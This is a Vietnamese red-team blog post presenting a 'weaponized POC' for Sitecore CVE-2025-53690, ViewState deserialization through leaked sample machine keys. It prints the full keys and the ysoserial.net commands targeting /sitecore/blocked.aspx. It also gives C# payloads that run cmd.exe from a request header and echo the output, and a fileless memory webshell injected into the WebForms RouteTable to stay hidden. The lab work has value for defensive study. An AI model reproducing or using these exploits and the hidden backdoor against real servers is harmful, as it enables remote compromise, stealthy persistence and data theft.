Sitecore CVE-2025-53690 Detailed Analysis and Weaponized POC

Published By: RED TEAM

Published On: 05/11/2025

Published in:

Giới thiệu sơ qua về Sitecore:

Sitecore là nền tảng trải nghiệm kỹ thuật số (Digital Experience Platform) và hệ thống quản lý nội dung thương mại được thiết kế dành riêng cho khối doanh nghiệp. Giải pháp này kết hợp quản lý nội dung, thương mại điện tử và tự động hóa marketing, cho phép tổ chức cung cấp trải nghiệm cá nhân hóa trên các trang web, ứng dụng di động và nhiều kênh khác. Khách hàng điển hình của Sitecore là các doanh nghiệp vừa và lớn trong các ngành như bán lẻ, tài chính, y tế, du lịch, giáo dục và khu vực công — những đơn vị cần triển khai nhiều website, độ sẵn sàng cao và tích hợp sâu với hệ thống nội bộ. Vì Sitecore đóng vai trò trung tâm trong hành trình khách hàng và các quy trình giao dịch, nên khi xảy ra lỗ hổng bảo mật, tác động có thể rất nghiêm trọng đến hoạt động kinh doanh và quyền riêng tư dữ liệu.

A little Backstory :D

Trong một ngày đẹp trời, khi đang lướt Twitter để cập nhật tin tức và kĩ thuật thì mình va phải post alert về quả CVE critical của Sitecore, điểm CVSS tận 9.0. Với bản tính tò mò thì mình cũng đã bắt tay vào tìm hiểu và phân tích case critical này :D

Trong bài có dẫn link blog của Google Mandiant phân tích về một đợt tấn công gần đây lên các instance Sitecore sử dụng sample machine key có trong các official deployment guides của Sitecore từ tận năm 2017 và thậm chí là trước đó nữa.

Bài này có đề cập nguyên nhân gốc rễ lỗ hổng đến từ việc ASP.NET machine key bị lộ dẫn đến attacker có thể kiểm soát cơ chế deserialize ViewState của các ứng dụng ASP.NET để khai thác RCE. Trước tiên, ta cần đi sâu và tìm hiểu xem cơ chế này diễn ra như thế nào.

Một số khái niệm về VIEWSTATE

VIEWSTATE là một cơ chế trong ASP.NET dùng để duy trì trạng thái của các điều khiển (controls) trên trang web giữa các lần gửi yêu cầu (request) trong ứng dụng web. Do giao thức HTTP là stateless (không lưu trạng thái), VIEWSTATE giúp lưu trữ thông tin trạng thái của các điều khiển (như giá trị TextBox, trạng thái CheckBox, v.v.) bằng cách mã hóa (serialize) chúng thành một chuỗi Base64 và nhúng vào trường ẩn __VIEWSTATE trong HTML. Cơ chế này phụ thuộc vào Machine Key để mã hóa và xác thực dữ liệu, đảm bảo tính bảo mật và toàn vẹn của VIEWSTATE.

Vì sao có cơ chế VIEWSTATE?

  • Duy trì trạng thái: VIEWSTATE giúp lưu giữ thông tin trạng thái của các điều khiển trên giao diện người dùng qua các lần postback (khi người dùng gửi biểu mẫu hoặc tương tác với trang).
  • Hỗ trợ mô hình lập trình hướng sự kiện: ASP.NET sử dụng mô hình lập trình hướng sự kiện, trong đó các điều khiển (controls) cần nhớ trạng thái trước đó để xử lý các sự kiện như nhấn nút hoặc thay đổi giá trị.
  • Không phụ thuộc vào server: Thay vì lưu trữ trạng thái trên server (như Session), VIEWSTATE lưu trữ dữ liệu trên phía client, giảm tải cho server và phù hợp với các ứng dụng không yêu cầu lưu trữ trạng thái phức tạp.

Vai trò của Machine Key trong VIEWSTATE

Machine Key là một cặp khóa bí mật (validation key và decryption key) được cấu hình trong tệp web.config hoặc máy chủ để bảo vệ dữ liệu VIEWSTATE. Nó được sử dụng để:

  • Xác thực (validation): Đảm bảo dữ liệu VIEWSTATE không bị thay đổi (tampering) bằng cách tạo một mã xác thực (MAC - Message Authentication Code).
  • Mã hóa (encryption): Bảo vệ nội dung VIEWSTATE khỏi bị đọc trực tiếp, đặc biệt khi bật tùy chọn mã hóa trong cấu hình.

Cơ chế serialize và deserialize trong VIEWSTATE

  1. Serialization (mã hóa):
    • Server thu thập trạng thái của các điều khiển (như giá trị TextBox, trạng thái DropDownList).
    • Dữ liệu được serialize thành chuỗi nhị phân, sau đó mã hóa (nếu bật mã hóa) bằng decryption key trong Machine Key.
    • Một mã xác thực (MAC) được tạo bằng validation key để đảm bảo toàn vẹn dữ liệu.
    • Chuỗi Base64 được nhúng vào trường ẩn __VIEWSTATE trong HTML.
  2. Deserialization (giải mã):
    • Client gửi yêu cầu postback kèm __VIEWSTATE.
    • Server sử dụng validation key để kiểm tra tính toàn vẹn của chuỗi VIEWSTATE.
    • Nếu hợp lệ, server dùng decryption key để giải mã và khôi phục trạng thái điều khiển.
    • Trạng thái được sử dụng để xử lý sự kiện và cập nhật trang.
       

Ta có thể rút ra được rằng, dựa trên cơ chế này. Một khi có được machine key, ta đã có thể khiến web server deserialize bất kì object nào mà ta nhúng vào VIEWSTATE. Từ đó attacker có thể lợi dụng các chain deserialize để thực thi câu lệnh tuỳ ý trên server.

Vậy thì trong những trường hợp nào attacker sẽ có được machine key? Đây là một số case thường gặp:

Tuy nhiên, với trường hợp CVE-2025-53690 này, attacker không hề dùng các cách trên mà lại tận dụng Machine Key được share trong các hướng dẫn cài đặt cũ của Sitecore.

Trong bài phân tích của Mandiant không hề đề cập đến MachineKey được sử dụng trong chiến dịch tấn công này, tuy nhiên bài này có dẫn đến Security Bullettin của Sitecore ở đây: https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003865

Ở phần Solution, Sitecore cung cấp một vài thông tin để giúp khách hàng sử dụng Sitecore phòng tránh lỗ hổng này, nhưng lại vô tình cho ta một hint là machine key bắt đầu bằng BDDFE367CD… và validation key bắt đầu bằng 0DAC68D020…

Từ đây, ta có thể bắt đầu tìm kiếm thông tin bằng việc sử dụng google dork:

Đầu tiên, thử search với cú pháp “BDDFE367CD site:sitecore.com” để thu hẹp phạm vi tìm kiếm xuống chỉ những nguồn từ sitecore.

Tuy nhiên tìm kiếm chỉ trả về một kết quả duy nhất là Security Bulletin của Sitecore về CVE này mà ta vừa đề cập

Tương tự đối với cú pháp tìm kiếm: “0DAC68D020 site:sitecore.com”

Vận dụng một chút não bộ thì ta biết được MachineKey thường được cấu hình trong file web.config với định dạng như sau:

Thử đổi cú pháp lại một chút với thông tin trên thì ta có được dork sau:

"<machineKey" site:sitecore.com

Với cú pháp này thì ta đã thấy nhiều kết quả hơn, kéo xuống một tí thì Bingo, ta đã kiếm được document được đề cập trong security bulletin

Ta có thể thấy machinekey và validation key ở đây đều khớp với hint từ security bulletin ở trên. (machine key bắt đầu bằng BDDFE367CD… và validation key bắt đầu bằng 0DAC68D020)

Vậy nếu đây chỉ là sample key thì sao nó lại trở thành CVE nghiêm trọng được đánh điểm CVSS 9.0 như vậy?

Đọc kĩ phần hướng dẫn này, ta thấy ngôn ngữ được sử dụng ở đây có vẻ không đúng lắm:

Ở đây document của Sitecore lại nói là:

You can either paste this key into your web.config file or generate another unique key at:

http://www.orcsweb.com/articles/aspnetmachinekey.aspx

Vế đầu của câu nói này đề cập đến việc developer có thể lấy sample đó và paste trực tiếp vào file web.config của họ mà không cần phải tạo một key mới unique. Từ đó ta có thể đoán được chắc chắn là có không ít developer làm theo và dẫn đến lỗ hổng trên.

Bằng chứng là khi search machinekey này ở google thì ta thấy được rất nhiều nguồn đề cập đến việc sử dụng key này. Tệ hơn nữa là key này cũng đã có trong các wordlist public trên github từ vài năm trước.

Sau khi đã có MachineKey, ta sẽ bắt đầu setup môi trường lab để POC lại lỗ hổng này.

Đầu tiên, ta cần dựng docker sitecore: Tham khảo link sau https://www.youtube.com/watch?v=a-hjq7WcZiY

Sau khi cài đặt Docker Desktop, click chuột phải vào biểu tượng Docker dưới thanh công cụ và chọn “Switch to Windows containers…”

Chạy lệnh sau để clone repo

git clone <https://github.com/Sitecore/container-deployment.git>

Sau khi clone truy cập vào thư mục

container-deployment\\compose\\sxp\\10.4\\ltsc2022\\xp0

Mở powershell với quyền Administrator và run file compose-init.ps1 để bắt đầu thiết lập môi trường cho Sitecore. Truyền vào đường dẫn đến file license.xml

Sau đó chạy

docker compose up -d

Bước này phải chờ khá lâu để pull và build instance sitecore, có thể đi pha cafe/matcha và nhâm nhi trong lúc chờ =))

Note: Đoạn này để tránh xung đột port với các port được sử dụng cho container này thì nên đổi port của BurpSuite sang 8081 hoặc tương tự(khác 8080). Đồng thời kiểm tra xem port 443 có đang free không. Nếu không thì nên stop process đang sử dụng port này (Có thể là IIS (W3SVC), IIS Express, VMware/Workstation service, Skype/Teams, antivirus,…)

Sau khi mọi thứ hoàn tất, vào file .env để lấy url đến instance sitecore

Truy cập đường dẫn https://xp0cm.localhost/ ta đã setup thành công sitecore :D

Giờ thì bắt tay vào POC thôi :D

Ở blog phân tích của Madiant, chúng ta có được endpoint mà attacker sử dụng để khai thác lỗ hổng là /sitecore/blocked.aspx

Ở đây attacker chọn endpoint này để khai thác là vì endpoint này có sử dụng một form ViewState ẩn và có thể truy cập mà không cần đăng nhập.

Thử truy cập endpoint này trên instance ta vừa deploy thì thấy đúng như vậy, trong response có một tag <input> chứa trường VIEWSTATE và endpoint này không yêu cầu đăng nhập.

Gửi request post tới cùng endpoint trên cùng parameter __VIEWSTATE với giá trị bất kì, ta thấy server trả về 500

Để giả lập lại môi trường bị lỗi như CVE trên, ta cần edit lại file web.config ở container sitecore-xp0-cm-1 và thêm vào machinekey bị lộ

Trước tiên chạy docker ps để lấy id của container này

Chạy lệnh sau để copy file web.config về

docker exec 0b12db41956d powershell -NoProfile -Command "Get-Content -Raw 'C:\\inetpub\\wwwroot\\web.config'" > web.config

Mở file này lên và thêm trường sau vào:

<system.web>
  <machineKey validationKey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6" decryptionKey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" validation="SHA1" />
</system.web>

Sau khi edit chạy lệnh sau để ghi đè file web.config vừa mới edit ở máy host lên container

type web.config | docker exec -i 0b12db41956d powershell -NoProfile -Command ^
  "$in=[Console]::In.ReadToEnd(); Set-Content -Path 'C:\\inetpub\\wwwroot\\web.config' -Value $in -Encoding UTF8"

Check lại xem đã ghi thành công chưa

Đến đây, tham khảo blog sau để nắm rõ hơn về cách exploit VIEWSTATE deserialization https://soroush.me/blog/exploiting-deserialisation-in-asp-net-via-viewstate

Ta có được câu lệnh ysoserial.net mẫu

.\\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\\windows\\temp\\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"

Thay giá trị các flag: decryptionkey, validationalg,validationkey tương ứng với thông tin machinekey bị lộ ở trên, path là /sitecore/blocked.aspx, flag apppath và decryptionalg không cần specify, ta có được command:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\\windows\\temp\\test.txt" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Run command này ta có được một dãy base64 là VIEWSTATE chứa payload của chúng ta

Gửi payload này trong parameter __VIEWSTATE đến endpoint /sitecore/blocked.aspx

Thử kiểm tra thư mục temp xem file đã được ghi thành công chưa:

Không hề thấy file test.txt ở đây, vậy là payload chưa đúng :DDD

Muốn biết sai ở đâu ta cần phải đọc debug log và stack trace. Tuy nhiên, setting mặc định của sitecore không bật debug nên ta sẽ phải edit lại file web.config và thay đổi các giá trị sau:

<customErrors mode="RemoteOnly"/> -> <customErrors mode="Off"/>
<compilation defaultLanguage="c#" targetFramework="4.8">
-> 
<compilation defaultLanguage="c#" debug="true" targetFramework="4.8">

Sau đó gửi lại request ở trên thì ta có được stack trace sau:

Có thể thấy ta đã thành công trigger được cơ chế deserialize và làm cho webserver deserialize payload của ta (stack trace đã reach System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize), tuy nhiên khi chạy đến System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly thì lại gặp [c: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.]. Lỗi này là do gadget chain này sử dụng class TextFormattingRunProperties , một class nằm trong assembly Microsoft.PowerShell.Editor , tuy nhiên ở web server lại không có assembly tương ứng ⇒ Không load được.

Thử chạy command ls C:\\inetpub\\wwwroot\\bin trong container thì đúng là không hề có file dll này

Truy cập https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs để đọc code của gadget chain này. Ta có thể thấy đúng là payload ở đây sử dụng class TextFormattingRunProperties từ assembly nói trên.

Vậy thì giờ ta cần phải tìm gadget chain không sử dụng assembly này. Sau một hồi đọc code Generator của các chain trong ysoserial.net và tìm hiểu thêm các blog liên quan, ta tìm được gadget TypeConfuseDelegate được đề cập trong blog sau:

https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a

Ta thấy call stack của chain này xuất phát từ class SortedSet, một class có sẵn trong mscorlib.dll(Microsoft Common Object Runtime Library) assembly , nên gần như có thể hoạt động trong mọi trường hợp, không cần assembly này phải có trong thư mục bin của webroot ⇒ ta có thể sử dụng chain này để RCE.

Thử gen payload với command

ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\\windows\\temp\\test.txt" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Gửi payload được gen, ta có được response sau:

Ta thấy response đã không còn SerializationException nữa ⇒ Payload deserialize của ta đã thành công. Thử check xem trong folder temp đã có file của chúng ta chưa:

Vậy là ta đã RCE thành công :D

Nhưng có một điểm yếu khi sử dụng chain này là khi áp dụng vào thực tế, sẽ có những trường hợp target không cho phép outbound connection, ta sẽ không có cách nào để đọc được output của command (DNS, reverse shell,…). Phương án ghi shell cũng không khả thi nếu không biết webroot ⇒ Không có cách nào xác nhận payload của chúng ta đã thành công hay chưa. Vậy thì làm sao để ta có thể viết script khai thác/detect để scan hàng loạt?

Giải pháp ở đây sẽ là kĩ thuật Echo. Kĩ thuật này hoạt động bằng cách truy cập đối tượng request và response ⇒ sau đó ghi output của command vào response để quan sát được output. Có một số cách có thể đạt được việc này, nhưng mà cách tối ưu và đơn giản nhất trong các ứng dụng C# là sử dụng một gadget chain cho phép load assembly bất kì. Vì vậy, ta có thể embed assembly do ta tự tạo ra ⇒ Thực thi code tuỳ ý. Từ đó ta có thể gọi đến System.Web.HttpContext.Current.Response để ghi output.

Trong các gadget chain nằm trong ysoserial.net thì có gadget chain ActivitySurrogateSelectorFromFile có thể được dùng với mục đích như vậy. Đây là một biến thể của chain ActivitySurrogateSelector.

Nói một chút về điểm khác biệt của chain này thì: Đối với các chain truyền thống, ta cần phải sử dụng các Serializable object trong chain, tuy nhiên đối với chain này thì ta có thể deserialize gần như mọi thứ :D. Từ đó mở ra cánh cửa để ta có thể ghi output ra response thông qua object mà ta tự tạo ra.

Bạn đọc có thể tìm hiểu sâu hơn về chain này từ blog của tác giả chain ở đây: https://googleprojectzero.blogspot.com/2017/04/

Tuy nhiên điểm hạn chế của chain này là chỉ hoạt động với các phiên bản .Net Framework < 4.8. Vì phiên bản 4.8+ đã thực hiện cơ chế kiểm tra ActivitySurrogateSelector Type ⇒ Không trực tiếp trigger được ngay từ đầu.

Tuy nhiên thì cơ chế này có thể bypass bằng cách sử dụng chain ActivitySurrogateDisableTypeCheck . Cụ thể về chain này có thể đọc ở blog của tác giả tại đây: https://www.netspi.com/blog/technical-blog/adversary-simulation/re-animating-activitysurrogateselector/

Nếu sử dụng chain này thì ta sẽ phải gửi 2 request (1 request disable type check, và 1 request exploit chain ActivitySurrogateSelectorFromFile)⇒ Vẫn chưa là chain tối ưu nhất trong trường hợp này :D

Ta cùng nhìn qua các chain khác cũng có hậu tố FromFile trong ysoserial.net Ta có được 2 chain: DataSetOldBehaviourFromFileXamlAssemblyLoadFromFile.

Thử gen payload với chain DataSetOldBehaviourFromFile ta thấy thông báo lỗi:

Lỗi là do payload gen ra quá lớn dẫn đến lỗi trong quá trình escape string cho payload ⇒ chắc chắn là không tối ưu cho case VIEWSTATE deserialize rồi :D

Ta cùng thử chain XamlAssemblyLoadFromFile, chain này cũng xuất phát từ quá trình phân tích về chain ActivitySurrogateDisableTypeCheck của tác giả. Tác giả quan sát được thì chain disable này tận dụng cơ chế chạy được code tuỳ ý bằng XAML của chain TextFormattingRunProperties, từ đó sử dụng Reflection để disable cơ chế type check. ⇒ Đã chạy được code thì chắc chắn là cũng sẽ có thể load assembly tuỳ ý bằng code ⇒ Ra được chain này. Chi tiết có thể tham khảo tại: https://russtone.io/2023/05/30/programming-with-xaml/ Đây cũng là một bài khá hay và nên đọc để hiểu rõ quá trình hình thành chain này :D

Oke không nói nhiều nữa giờ thì chạy command này để gen payload:

ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Nhưng trước tiên, ta cần hiểu rõ cơ chế hoạt động của ysoserial cho các chain có hậu tố FromFile. Đối với các chain này, ở flag -c thay vì truyền vào command muốn execute. Ta sẽ truyền vào đầu tiên là đường dẫn đến file exploit payload, sau đó đến đường dẫn các file dll mà ta sử dụng trong file payload.

Class này đã có sẵn trong file ExploitClass.cs trong thư mục ysoserial.net với các code mẫu, ta chỉ cần customized lại để chạy command và in ra output. Payload mặc định sẽ là

System.Windows.Forms.MessageBox.Show("Pwned", "Pwned", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);

Payload này khi trigger sẽ popup một cửa sổ MessageBox với nội dung là Pwned. Tuy nhiên, ta đang khai thác qua http request và không thể xem được MessageBox nên ta sẽ comment dòng này lại.

Đối với trường hợp này, để thuận tiện cho việc detect, trước tiên ta sẽ ghi giá trị bất kì vào response header để nhận biết và end response ngay tại đó để tránh toàn bộ pipeline .Net phía sau overwrite lại header trong quá trình sinh ra lỗi. Uncomment 2 dòng sau:

System.Web.HttpContext.Current.Response.AddHeader("X-YSOSERIAL-NET","HERE");
System.Web.HttpContext.Current.Response.End();

Vì payload này sử dụng System.Web.HttpContext.Current.Response nên ta sẽ phải thêm vào tham số -c đường dẫn đến file assembly System.Web.dll. Các file dll này có thể tìm thấy trong thư mục .NetFrameWork ở ổ C (vd: C:\Windows\Microsoft.NET\Framework64\v4.0.30319). Để thuận tiện và làm cho command ngắn hơn thì ta nên copy những file dll này vào thẳng thư mục ysoserial.net luôn. Sau đó run command sau:

ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Gửi payload được gen, ta có được response sau:

Như ta thấy, response không còn trả về 500 nữa và giá trị header mà chúng ta set đã được trả về trong response.

Vậy là với chỉ 1 request ta đã có thể làm cho server chạy code tuỳ ý. Giờ ta chỉ cần code lại payload để lấy giá trị cmd từ request ( có thể là ở param, header,…) và trả về output trong response.

ta sẽ code như sau:

		string cmd = System.Web.HttpContext.Current.Request.Headers["cmd"];
		System.Diagnostics.Process process = new System.Diagnostics.Process();
        process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c " + cmd;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.CreateNoWindow = true;

        process.Start();
        string output = process.StandardOutput.ReadToEnd();
        System.Web.HttpContext.Current.Response.Write(output);
		System.Web.HttpContext.Current.Response.End();

Ta sẽ lấy giá trị cmd từ request header, sau đó run command và trả về output trong response body.

Ở đây, ta sử dụng thêm System.Diagnostics.Process, class này được lấy từ assembly System.dll, nên ta sẽ phải copy assembly này vào thư mục ysoserial.net và thêm assembly này vào flag -c của command

ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "ExploitClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Sau khi gửi payload với giá trị header cmd là dir ta có response:

Vậy là ta đã hoàn thành mục tiêu echo được output cmd ra response.

Mọi chuyện chưa dừng lại ở đó :D Exploit ở trên vẫn còn một hạn chế khá lớn đó là: Nếu muốn exploit (run command) thì mỗi lần run phải gửi request đến endpoint kể trên với VIEWSTATE khá lớn, từ đó sẽ dễ bị phát hiện hơn ⇒ Sẽ không phù hợp để sử dụng trong các chiến dịch RedTeam. Vậy thì có cách nào để hạn chế việc này không? Câu trả lời là MemShell :D Ở các blog trước của sec.vnpt.vn ta đã biết được các loại MemShell trên Java, .Net MVC,… vậy còn WebForm thì sao? Có cơ chế tương tự nào không :D Cùng tìm hiểu tiếp nhé!

Đầu tiên, ta cần biết MemShell là gì.

MemShell, hay Memory Shell, là một kĩ thuật dùng để duy trì quyền truy cập (persistence) vào hệ thống mục tiêu mà không cần phải ghi file. Thay vì triển khai một webshell truyền thống (như một tệp .aspx hoặc .jsp), MemShell hoạt động hoàn toàn trong bộ nhớ của ứng dụng web, tận dụng các thành phần của framework hoặc runtime để thực thi mã độc mà không để lại dấu vết vật lý trên hệ thống. Điều này khiến MemShell trở thành một công cụ mạnh mẽ, khó bị phát hiện bởi các công cụ bảo mật truyền thống như antivirus hay các hệ thống giám sát tệp.

Về cơ bản thì kĩ thuật MemShell sẽ tận dụng các lớp (Filter, middleware, routing,…) trong request pipeline để inject code vào các lớp này, sau đó khi request pipeline chạy đến logic mà attacker đã inject ⇒ Thực thi code tuỳ ý trên server.

Có thể tham khảo các bài trước về Memshell trên tomcat và .Net MVC ở đây:

https://sec.vnpt.vn/2022/12/ky-thuat-memory-webshell-trong-cac-dot-khai-thac-redteam

https://sec.vnpt.vn/2024/10/asp-net-mvc-memmory-webshell-filter

Mặc dù cùng họ ASP.NET nhưng ASP.NET WebForms lại không có cơ chế Filter trong request pipeline. Do đó, ta phải tìm một cơ chế khác tương tự.

Sau một hồi lần mò thì mình đã tìm ra được một cơ chế có thể tận dụng được nằm trong request pipeline của WebForms là cơ chế Routing.

Routing trong Web Forms (từ .NET 4.0) sinh ra là để tạo friendly URL(URL không có đuôi .aspx), giúp cải thiện SEO mà vẫn giữ mô hình Page truyền thống. Ví dụ, thay vì /upload.aspx ⇒ ta có thể config để route /upload được map thẳng đến file aspx này. Khi đó url sẽ không còn .aspx nữa ⇒ Thân thiện hơn với người dùng.

Tổng quan về Request Pipeline trong ASP.NET

Khi có một request (yêu cầu HTTP) gửi đến ứng dụng ASP.NET:

  1. IIS nhận yêu cầu HTTP.
  2. IIS chuyển yêu cầu đó cho ASP.NET ISAPI extension (chế độ Classic) hoặc ASP.NET Integrated pipeline module (chế độ Integrated).
  3. Yêu cầu đi vào ASP.NET Request Pipeline, bao gồm:
    • Các sự kiện của HttpApplication (như BeginRequest, AuthenticateRequest, AuthorizeRequest, ResolveRequestCache, …).
    • Các HttpModules (các module có thể "chèn" vào các sự kiện trên).
    • Các HttpHandlers (chịu trách nhiệm xử lý thực tế và trả về phản hồi cho client).

Routing xuất hiện ở đâu trong Pipeline

Routing module (UrlRoutingModule) được gắn vào pipeline ở giai đoạn PostResolveRequestCache.

Tại đây, nó kiểm tra URL được gửi đến để xem có khớp với bất kỳ route nào đã được định nghĩa trong RouteTable.Routes hay không.

Nếu tìm thấy route phù hợp:

  • UrlRoutingModule tạo ra một RouteData object.
  • Nó gán một IRouteHandler cụ thể để xử lý request đó.
  • Sau đó, request được chuyển đến HttpHandler tương ứng (ví dụ PageRouteHandler trong Web Forms).

Luồng thực thi của Routing:

IIS → ASP.NET Pipeline
     ↓
 UrlRoutingModule (PostResolveRequestCache)
     ↓
 Tìm RouteData phù hợp
     ↓
 Gọi IRouteHandler tương ứng
     ↓
 PageRouteHandler trả về PageHandler (.aspx)
     ↓
 Thực thi vòng đời trang (Page Lifecycle)
     ↓
 Gửi phản hồi về client

Thông thường các Route này có thể được config ở file Global.asax. VD:

void Application_Start(object sender, EventArgs e)
{
    RegisterRoutes(RouteTable.Routes);
}

void RegisterRoutes(RouteCollection routes)
{
    routes.MapPageRoute(
        routeName: "ProductRoute",
        routeUrl: "products/{category}/{id}",
        physicalFile: "~/ProductDetails.aspx"
    );
}

Tuy nhiên, ngoài cách trên, ta còn có thể Cấu hình Route động bằng cách sử dụng code như sau:

using System.Web.Routing;

void AddDynamicRoute()
{
    RouteCollection routes = RouteTable.Routes;
    routes.MapPageRoute(
        routeName: "DynamicRoute",
        routeUrl: "promo/{code}",
        physicalFile: "~/PromoPage.aspx"
    );
}

Ngoài ra, ta cũng có thể viết Custom Route với logic do ta tự define bằng cách overide 2 method GetRouteData và GetVirtualPath ví dụ như sau:

public class MyRoute : RouteBase
{
    public override RouteData GetRouteData(HttpContextBase httpContext)
    {
        var url = httpContext.Request.AppRelativeCurrentExecutionFilePath.TrimStart('~', '/');

        if (url.Equals("promo", StringComparison.OrdinalIgnoreCase))
        {
            var routeData = new RouteData(this, new PageRouteHandler("~/PromoPage.aspx"));
            return routeData;
        }

        return null;
    }

    public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
    {
        return null; // optional
    }
}

Sau đó register route này bằng

RouteTable.Routes.Insert(0, new MyRoute());

Ở đây, thay vì dùng Routes.Add, ta dùng Routes.Insert vì:

Khi sử dụng Routes.Insert, ta có thể kiểm soát được vị trí khi insert route này vào RouteTable. Khi sử dụng Insert(0, …), Route này sẽ được đưa lên đầu bảng RouteTable ⇒ logic xử lý route của ta sẽ được xử lý đầu tiên khi pipeline loop qua RouteTable để tìm giá trị cần match. Từ đó, ta có thể tận dụng cơ chế này để chèn payload độc hại (Execute command, readf file,…) vào method GetRouteData của Route mà ta define.

File Payload như sau:

// ExploitClass was renamed to E to reduce the size a little bit
using System.Web;
using System.Web.Routing;
class E
{
    public E()
    {

		RouteCollection routes = RouteTable.Routes;
		routes.Insert(0, (RouteBase)new MyRoute());
		System.Web.HttpContext.Current.Response.End();

    }
	
	
	public class MyRoute : RouteBase
    {
        public override RouteData GetRouteData(HttpContextBase httpContext)
        {
            string Payload = httpContext.Request.Headers["cmd"];
            if (Payload != null)
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.Arguments = "/c " + Payload;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.CreateNoWindow = true;

                process.Start();
                string output = process.StandardOutput.ReadToEnd();
                System.Web.HttpContext.Current.Response.Write(output);
                System.Web.HttpContext.Current.Response.End();
            }
            return null;
        }

        public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
        {
            return null;
        }
    }
}

Giải thích về payload trên:

Ở đây, ta sẽ tạo ra class MyRoute chứa payload thực thi command nằm ở method GetRouteData. Method này sẽ kiểm tra xem nếu trong request header có chứa header cmd thì sẽ thực thi câu lệnh cmd dựa trên giá trị của header này. Nếu không có header này thì sẽ bỏ qua và return null ⇒ không làm ảnh hưởng đến logic của các Route khác, chương trình vẫn sẽ hoạt động như bình thường ⇒ Khó bị phát hiện hơn.

Thực ra thì cả 2 method GetRouteData và GetVirtualPath đều có thể sử dụng để run code tuỳ ý. Tuy nhiên, trong request pipeline, GetRouteData sẽ được chạy trước GetVirtualPath nên ở đây ta sẽ dùng GetRouteData.

Sau đó trong class E, ta sẽ khởi tạo một object RouteCollection và thực hiện insert MyRoute vào RouteTable ở vị trí đầu tiên.

Save file trên với tên MemShellClass.cs trong thư mục ysoserial.net. Sau đó tiến hành run command sau để gen payload:

ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "MemShellClass.cs;System.Web.dll;System.dll" --path=/sitecore/blocked.aspx --decryptionkey="0DAC68D020B8193DF0FCEE1BAF7A07B4B0D40DCD3E5BA90D" --validationalg="SHA1" --validationkey="BDDFE367CD36AAA81E195761BEFB073839549FF7B8E34E42C0DEA4600851B0065856B211719ADEFC76F3F3A556BC61A5FC8C9F28F958CB1D3BD8EF9518143DB6"

Sau khi gửi payload, ta thu được response 200:

Bây giờ ta có thể gửi request đến route bất kì và set Header cmd là payload ta cần chạy để thực thi câu lệnh tuỳ ý

Cơm thêm

